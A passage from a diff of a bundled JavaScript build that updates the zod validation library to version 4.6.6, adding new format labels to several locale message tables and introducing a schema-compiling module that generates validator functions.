"simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56285,12 +58820,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -56355,17 +58894,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56391,12 +58931,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -56464,22 +59008,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56505,12 +59050,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -56580,12 +59129,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -56624,6 +59173,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -56691,17 +59243,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56727,12 +59280,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -56800,17 +59357,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56836,12 +59394,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -56910,17 +59472,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -56946,12 +59509,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url \u7DE8\u78BC\u5B57\u4E32", json_string: "JSON \u5B57\u4E32", e164: "E.164 \u6578\u503C", + credit_card: "\u4FE1\u7528\u5361\u865F", + currency_code: "\u8CA8\u5E63\u4EE3\u78BC", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F38\u5165" }; @@ -57018,17 +59585,18 @@ var error49 = () => { }; function zh_TW_default() { return { - localeError: error49() + localeError: error60() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/yo.js -var error50 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/yo.js +var error61 = () => { const Sizable = { string: { unit: "\xE0mi", verb: "n\xED" }, file: { unit: "bytes", verb: "n\xED" }, array: { unit: "nkan", verb: "n\xED" }, - set: { unit: "nkan", verb: "n\xED" } + set: { unit: "nkan", verb: "n\xED" }, + map: { unit: "nkan", verb: "n\xED" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -57054,12 +59622,16 @@ var error50 = () => { duration: "\xE0k\xF3k\xF2 t\xF3 p\xE9 ISO", ipv4: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv4", ipv6: "\xE0d\xEDr\u1EB9\u0301s\xEC IPv6", + mac: "\xE0d\xEDr\u1EB9\u0301s\xEC MAC", cidrv4: "\xE0gb\xE8gb\xE8 IPv4", cidrv6: "\xE0gb\xE8gb\xE8 IPv6", base64: "\u1ECD\u0300r\u1ECD\u0300 t\xED a k\u1ECD\u0301 n\xED base64", base64url: "\u1ECD\u0300r\u1ECD\u0300 base64url", json_string: "\u1ECD\u0300r\u1ECD\u0300 JSON", e164: "n\u1ECD\u0301mb\xE0 E.164", + credit_card: "n\u1ECDmba kaadi gbese", + currency_code: "koodu ow\xF3", + iban: "IBAN", jwt: "JWT", template_literal: "\u1EB9\u0300r\u1ECD \xECb\xE1w\u1ECDl\xE9" }; @@ -57126,14 +59698,14 @@ var error50 = () => { }; function yo_default() { return { - localeError: error50() + localeError: error61() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/registries.js var _a2; -var $output = Symbol("ZodOutput"); -var $input = Symbol("ZodInput"); +var $output = /* @__PURE__ */ Symbol("ZodOutput"); +var $input = /* @__PURE__ */ Symbol("ZodInput"); var $ZodRegistry = class { constructor() { this._map = /* @__PURE__ */ new WeakMap(); @@ -57180,21 +59752,1624 @@ function registry() { (_a2 = globalThis).__zod_globalRegistry ?? (_a2.__zod_globalRegistry = registry()); var globalRegistry = globalThis.__zod_globalRegistry; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/compile.js +var INVALID = Symbol.for("zod.compile.invalid"); +var FALLBACK_FLAG = Symbol.for("zod.compile.fallback"); +var ZodCompileAsyncError = class extends Error { + constructor(message2 = "z.compile does not support async refinements, transforms, or checks") { + super(message2); + this.name = "ZodCompileAsyncError"; + } +}; +var ZodCompileUnsupportedError = class extends Error { + constructor(feature, islandable = true) { + super(`z.compile does not support ${feature}; this schema must use the runtime parser`); + this.name = "ZodCompileUnsupportedError"; + this.islandable = islandable; + } +}; +function compileValidator(schema, parser) { + try { + return compileFn(schema, { assertOnly: true }); + } catch { + return parser; + } +} +function compile(schema, options) { + try { + const parser = compileFn(schema); + const clone2 = withParser(schema, parser); + clone2._zod.bag.validator = compileValidator(schema, parser); + return clone2; + } catch (err) { + if (options?.strict) + throw err; + return schema; + } +} +function withParser(schema, parser) { + if (isRecursiveSchema(schema)) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const clone2 = clone(schema); + const liveRun = schema._zod.run; + const originalRun = liveRun.__originalRun ?? liveRun; + const wrapped = (payload, ctx) => { + if (ctx?.async || ctx?.direction === "backward" || ctx?.skipChecks || ctx?.[FALLBACK_FLAG]) { + return originalRun(payload, ctx); + } + if (ctx && isBackEdge(ctx, payload.value)) { + return originalRun(payload, ctx); + } + const out = parser(payload.value); + if (out !== INVALID) { + payload.value = out; + return payload; + } + if (ctx) + ctx[FALLBACK_FLAG] = true; + return originalRun(payload, ctx); + }; + wrapped.__originalRun = originalRun; + clone2._zod.bag.fallbackRun = originalRun; + clone2._zod.bag.validator = parser; + clone2._zod.run = wrapped; + if (!liveRun.__originalRun) + installCompiledUserMethods(clone2, schema, parser); + return clone2; +} +function installCompiledUserMethods(target, source, parser) { + const targetAny = target; + const sourceAny = source; + if (typeof sourceAny.safeParse === "function") { + const originalSafeParse = sourceAny.safeParse; + targetAny.safeParse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return { success: true, data: out }; + } + return originalSafeParse(data, params); + }; + } + if (typeof sourceAny.parse === "function") { + const originalParse = sourceAny.parse; + targetAny.parse = (data, params) => { + const out = parser(data); + if (out !== INVALID) { + return out; + } + return originalParse(data, params); + }; + } +} +function compileFn(schema, options) { + let recursive2 = true; + try { + recursive2 = isRecursiveSchema(schema); + } catch { + } + if (recursive2) { + throw new ZodCompileUnsupportedError("a schema whose subtree contains a reference cycle"); + } + const ctx = { + constants: /* @__PURE__ */ new Map(), + constantCounter: 0, + varCounter: 0, + definite: true + }; + const doc = new Doc(["input"]); + const outputAccessor = generateCheck(doc, ctx, schema, "input", !options?.assertOnly); + doc.write(outputAccessor === null ? `return true;` : `return ${outputAccessor};`); + const constantNames = ["INVALID", ...ctx.constants.keys()]; + const constantValues = [INVALID, ...ctx.constants.values()]; + const code = doc.content.join("\n"); + const fullCode = options?.debug ? constantNames.length > 0 ? `// Constants: ${constantNames.join(", ")} +${code}` : code : ""; + const F = Function; + const factoryCode = `return (input) => { +${code} +}`; + let fn; + try { + const factory = new F(...constantNames, factoryCode); + fn = factory(...constantValues); + } catch (err) { + throw new ZodCompileUnsupportedError(`this schema (generated code failed to evaluate: ${err.message})`); + } + if (options?.debug) { + fn.code = fullCode; + } + fn.definite = ctx.definite; + return fn; +} +function addConstant(ctx, value) { + for (const [name2, v] of ctx.constants) { + if (v === value) + return name2; + } + const name = `c${ctx.constantCounter++}`; + ctx.constants.set(name, value); + return name; +} +function addUserConstant(ctx, fn) { + ctx.definite = false; + return addConstant(ctx, fn); +} +function newVar(ctx) { + return `v${ctx.varCounter++}`; +} +function runtimeRun(schema, value) { + const result = schema._zod.run({ value, issues: [] }, {}); + if (result && typeof result.then === "function") + return INVALID; + const r = result; + return r.issues.length === 0 ? r.value : INVALID; +} +function compileChild(doc, ctx, schema, accessor, needsValue = true) { + const contentLen = doc.content.length; + const constantCount = ctx.constants.size; + const constantCounter = ctx.constantCounter; + const varCounter = ctx.varCounter; + try { + return generateCheck(doc, ctx, schema, accessor, needsValue); + } catch (err) { + if (!(err instanceof ZodCompileUnsupportedError) || !err.islandable) + throw err; + doc.content.length = contentLen; + if (ctx.constants.size > constantCount) { + const trailing = Array.from(ctx.constants.keys()).slice(constantCount); + for (const k of trailing) + ctx.constants.delete(k); + } + ctx.constantCounter = constantCounter; + ctx.varCounter = varCounter; + return emitRuntimeIsland(doc, ctx, schema, accessor); + } +} +function emitRuntimeIsland(doc, ctx, schema, accessor) { + ctx.definite = false; + const schemaConst = addConstant(ctx, schema); + const runConst = addConstant(ctx, runtimeRun); + const outVar = newVar(ctx); + doc.write(`const ${outVar} = ${runConst}(${schemaConst}, ${accessor});`); + doc.write(`if (${outVar} === INVALID) return INVALID;`); + return outVar; +} +var WHEN_DEFAULTED_CHECKS = /* @__PURE__ */ new Set([ + "max_size", + "min_size", + "size_equals", + "max_length", + "min_length", + "length_equals" +]); +function generateChecks(doc, ctx, schema, accessor) { + const schemaChecks = schema._zod.def.checks; + if (!schemaChecks || schemaChecks.length === 0) + return accessor; + let currentAccessor = accessor; + for (const check3 of schemaChecks) { + const def = check3._zod.def; + if (def.when && !WHEN_DEFAULTED_CHECKS.has(def.check)) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + switch (def.check) { + case "greater_than": + generateGreaterThanCheck(doc, ctx, def, currentAccessor); + break; + case "less_than": + generateLessThanCheck(doc, ctx, def, currentAccessor); + break; + case "multiple_of": + generateMultipleOfCheck(doc, ctx, def, currentAccessor); + break; + case "number_format": + generateNumberFormatCheck(doc, def, currentAccessor); + break; + case "min_length": { + const min = numericOperand(def.minimum, "min_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${min} && ${currentAccessor}.length < ${def.minimum * 2}`); + doc.write(`if (${len} < ${min}) return INVALID;`); + break; + } + case "max_length": { + const max = numericOperand(def.maximum, "max_length"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length > ${max}`); + doc.write(`if (${len} > ${max}) return INVALID;`); + break; + } + case "length_equals": { + const exact = numericOperand(def.length, "length_equals"); + const len = codePointLengthVar(doc, ctx, currentAccessor, `${currentAccessor}.length >= ${exact} && ${currentAccessor}.length <= ${def.length * 2}`); + doc.write(`if (${len} !== ${exact}) return INVALID;`); + break; + } + case "min_size": + doc.write(`if (${currentAccessor}.size < ${numericOperand(def.minimum, "min_size")}) return INVALID;`); + break; + case "max_size": + doc.write(`if (${currentAccessor}.size > ${numericOperand(def.maximum, "max_size")}) return INVALID;`); + break; + case "size_equals": + doc.write(`if (${currentAccessor}.size !== ${numericOperand(def.size, "size_equals")}) return INVALID;`); + break; + case "string_format": + currentAccessor = generateStringFormatCheck(doc, ctx, def, currentAccessor); + break; + case "custom": + currentAccessor = generateCustomRefineCheck(doc, ctx, check3, currentAccessor); + break; + case "bigint_format": + generateBigIntFormatCheck(doc, def, currentAccessor); + break; + case "mime_type": + generateMimeTypeCheck(doc, ctx, def, currentAccessor); + break; + case "property": + generatePropertyCheck(doc, ctx, def, currentAccessor); + break; + case "properties": + generatePropertiesChecks(doc, ctx, def, currentAccessor); + break; + case "overwrite": { + const newAccessor = newVar(ctx); + generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor); + currentAccessor = newAccessor; + break; + } + default: { + throw new ZodCompileUnsupportedError(`check type ${def.check}`); + } + } + } + return currentAccessor; +} +function codePointLengthVar(doc, ctx, accessor, inDoubt) { + const cpLen = addConstant(ctx, codePointLength); + const v = newVar(ctx); + doc.write(`const ${v} = typeof ${accessor} === "string" && ${inDoubt} ? ${cpLen}(${accessor}) : ${accessor}.length;`); + return v; +} +function numericOperand(value, label) { + if (typeof value !== "number" || !Number.isFinite(value)) { + throw new ZodCompileUnsupportedError(`${label} bound of type ${typeof value}`); + } + return `${value}`; +} +function comparisonOperand(ctx, value) { + if (typeof value === "bigint") + return `${value}n`; + if (typeof value === "number") { + if (Number.isNaN(value)) + throw new ZodCompileUnsupportedError("comparison check with NaN bound"); + return `${value}`; + } + if (value instanceof Date) { + if (Number.isNaN(value.getTime())) { + throw new ZodCompileUnsupportedError("comparison check with Invalid Date bound"); + } + return addConstant(ctx, value); + } + throw new ZodCompileUnsupportedError(`comparison check bound of type ${typeof value}`); +} +function generateGreaterThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? "<" : "<="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateLessThanCheck(doc, ctx, def, accessor) { + const op = def.inclusive ? ">" : ">="; + doc.write(`if (${accessor} ${op} ${comparisonOperand(ctx, def.value)}) return INVALID;`); +} +function generateMultipleOfCheck(doc, ctx, def, accessor) { + if (typeof def.value === "bigint") { + if (def.value === BigInt(0)) + throw new ZodCompileUnsupportedError("multiple_of check with a zero divisor"); + doc.write(`if (${accessor} % ${def.value}n !== 0n) return INVALID;`); + } else { + const remainder = addConstant(ctx, floatSafeRemainder); + doc.write(`if (${remainder}(${accessor}, ${numericOperand(def.value, "multiple_of")}) !== 0) return INVALID;`); + } +} +function generateNumberFormatCheck(doc, def, accessor) { + const format = def.format; + switch (format) { + case "safeint": + doc.write(`if (!Number.isSafeInteger(${accessor})) return INVALID;`); + break; + case "int32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < -2147483648 || ${accessor} > 2147483647) return INVALID;`); + break; + case "uint32": + doc.write(`if (!Number.isInteger(${accessor}) || ${accessor} < 0 || ${accessor} > 4294967295) return INVALID;`); + break; + case "float32": + doc.write(`if (!Number.isFinite(${accessor}) || ${accessor} < -3.4028234663852886e38 || ${accessor} > 3.4028234663852886e38) return INVALID;`); + break; + case "float64": + doc.write(`if (!Number.isFinite(${accessor})) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`number format ${format}`); + } + } +} +function generateBigIntFormatCheck(doc, def, accessor) { + const format = def.format; + if (!format) + return; + switch (format) { + case "int64": + doc.write(`if (${accessor} < -9223372036854775808n || ${accessor} > 9223372036854775807n) return INVALID;`); + break; + case "uint64": + doc.write(`if (${accessor} < 0n || ${accessor} > 18446744073709551615n) return INVALID;`); + break; + default: { + throw new ZodCompileUnsupportedError(`bigint format ${format}`); + } + } +} +function generateMimeTypeCheck(doc, ctx, def, accessor) { + const mimeTypes = def.mime; + if (mimeTypes && mimeTypes.length > 0) { + const mimeSet = addConstant(ctx, new Set(mimeTypes)); + doc.write(`if (!${mimeSet}.has(${accessor}.type)) return INVALID;`); + } +} +function generatePropertiesChecks(doc, ctx, def, accessor) { + if (def.when) { + throw new ZodCompileUnsupportedError(`check with a custom "when" condition`); + } + doc.write(`if (${accessor} == null) return INVALID;`); + const shape = def.shape; + for (const key of Reflect.ownKeys(shape)) { + const keyExpr = typeof key === "symbol" ? addConstant(ctx, key) : esc(key); + const inputVar = newVar(ctx); + doc.write(`const ${inputVar} = ${accessor}[${keyExpr}];`); + compileChild(doc, ctx, shape[key], inputVar, false); + } +} +function generatePropertyCheck(doc, ctx, def, accessor) { + const propAccessor = `${accessor}[${JSON.stringify(def.property)}]`; + generateCheck(doc, ctx, def.schema, propAccessor); +} +function generateOverwriteCheck(doc, ctx, check3, currentAccessor, newAccessor) { + const tx = check3._zod.def.tx; + if (!tx) { + throw new ZodCompileUnsupportedError("overwrite check without a transform function"); + } + if (isAsyncFunction(tx)) { + throw new ZodCompileAsyncError("z.compile: async overwrite transforms are not supported"); + } + const txConst = addConstant(ctx, tx); + doc.write(`const ${newAccessor} = ${txConst}(${currentAccessor});`); +} +function throwAsync() { + throw new $ZodAsyncError(); +} +function pushIssue(issue2) { + this.issues.push(issue2); +} +function generateCustomRefineCheck(doc, ctx, check3, accessor) { + const def = check3._zod.def; + if (def.fn) { + if (isAsyncFunction(def.fn)) { + throw new ZodCompileAsyncError("z.compile: async .refine() predicates are not supported"); + } + const fnConst = addUserConstant(ctx, def.fn); + const throwAsyncConst = addConstant(ctx, throwAsync); + const resVar = newVar(ctx); + doc.write(`const ${resVar} = 